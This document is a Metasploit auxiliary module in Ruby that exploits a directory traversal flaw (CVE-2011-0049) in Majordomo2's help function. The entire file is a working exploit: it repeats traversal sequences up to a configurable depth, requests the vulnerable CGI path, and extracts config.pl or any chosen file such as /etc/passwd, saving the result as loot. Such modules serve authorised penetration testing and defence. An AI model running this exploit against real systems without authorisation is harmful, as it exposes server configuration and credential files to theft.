Majordomo2 _list_file_get() Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'Majordomo2 _list_file_get() Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability present in
        the _list_file_get() function of Majordomo2 (help function). By default, this
        module will attempt to download the Majordomo config.pl file.
      },
      'Author'         =>	['Nikolas Sotiriu'],
      'References'     =>
        [
          ['OSVDB', '70762'],
          ['CVE', '2011-0049'],
          ['CVE', '2011-0063'],
          ['URL', 'https://www.sotiriu.de/adv/NSOADV-2011-003.txt'],
          ['EDB', '16103']
        ],
      'DisclosureDate' => 'Mar 08 2011',
      'License'        =>  MSF_LICENSE
    )

    register_options(
      [
        OptString.new('FILE', [ true,  "Define the remote file to view, ex:/etc/passwd", 'config.pl']),
        OptString.new('URI', [true, 'Majordomo vulnerable URI path', '/cgi-bin/mj_wwwusr/domain=domain?user=&passw=&func=help&extra=']),
        OptInt.new('DEPTH', [true, 'Define the max traversal depth', 8]),
      ])
  end

  def run_host(ip)
    trav_strings = [
      '../',
      './.../'
    ]
    uri  = normalize_uri(datastore['URI'])
    file = datastore['FILE']
    deep = datastore['DEPTH']
    file = file.gsub(/^\//, "")

    trav_strings.each do |trav|
      str = ""
      i   = 1
      while (i <= deep)
        str = trav * i
        payload = "#{str}#{file}"

        res = send_request_raw(
          {
            'method'  => 'GET',
            'uri'     => uri + payload,
          }, 25)

        if res.nil?
          print_error("#{rhost}:#{rport} Connection timed out")
          return
        end

        print_status("#{rhost}:#{rport} Trying URL " + payload )

        if (res and res.code == 200 and res.body)
          if res.body.match(/\<html\>(.*)\<\/html\>/im)
            html = $1

            if res.body =~ /unknowntopic/
              print_error("#{rhost}:#{rport} Could not retrieve the file")
            else
              file_data = html.gsub(%r{(.*)<pre>|<\/pre>(.*)}m, '')
              print_good("#{rhost}:#{rport} Successfully retrieved #{file} and storing as loot...")

              # Transform HTML entities back to the original characters
              file_data = file_data.gsub(/\&gt\;/i, '>').gsub(/\&lt\;/i, '<').gsub(/\&quot\;/i, '"')

              store_loot("majordomo2.traversal.file", "application/octet-stream", rhost, file_data, file)
              return
            end
          else
            print_error("#{rhost}:#{rport} No HTML was returned")
          end
        else
          # if res is nil, we hit this
          print_error("#{rhost}:#{rport} Unrecognized #{res.code} response")
        end
        i += 1;
      end
    end

    print_error("#{rhost}:#{rport} Not vulnerable or the DEPTH setting was too low")
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  rescue ::Timeout::Error, ::Errno::EPIPE
  end
end